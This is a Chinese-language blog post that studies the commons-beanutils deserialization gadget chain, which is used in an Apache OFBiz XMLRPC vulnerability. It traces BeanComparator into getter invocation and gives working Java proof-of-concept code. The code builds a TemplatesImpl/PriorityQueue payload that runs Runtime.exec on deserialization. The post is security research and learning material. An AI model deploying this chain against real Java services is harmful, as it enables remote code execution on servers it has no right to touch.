前言
最近乱七八糟的事情有点多,都没好好学习了。
看了 Apache Ofbiz XMLRPC 的反序列化漏洞,可以看这篇文章。
因为环境搭建起来比较复杂,还要搞远程调试,而且过程比较简单,就是处理某种 XML 格式时会进行反序列化,所以我就懒得搞了。
不过用到的 commons-beanutils 反序列化链我还没有看过,就看一看吧。
环境搭建
随便搞个 Java 项目就行,maven:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>
反序列链
BeanComparator 类的 compare 函数:
public int compare( final T o1, final T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
...
}
看名字似乎会对对象的某个属性做一些操作,这里的对象 o 和属性名 property 都是可控的,继续往下,一路来到 PropertyUtilsBean 类的 getSimpleProperty 函数:
// Retrieve the property getter method for the specified property
final PropertyDescriptor descriptor =
getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" +
name + "' on class '" + bean.getClass() + "'" );
}
final Method readMethod = getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name +
"' has no getter method in class '" + bean.getClass() + "'");
}
// Call the property getter and return the value
final Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return (value);
看起来就是调用了某个类的 getter,所以利用方式类似于 Fastjson,可以接上 TemplatesImpl 实现 RCE。
测试代码
简单写一个:
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(testJavassist.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "Pwn");
setField(templates, "_tfactory", TransformerFactoryImpl.newInstance());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, null);
queue.add("1");
queue.add("1");
setField(queue, "comparator", beanComparator);
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
unserialize(serialize(queue));
参考
ysoserial
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!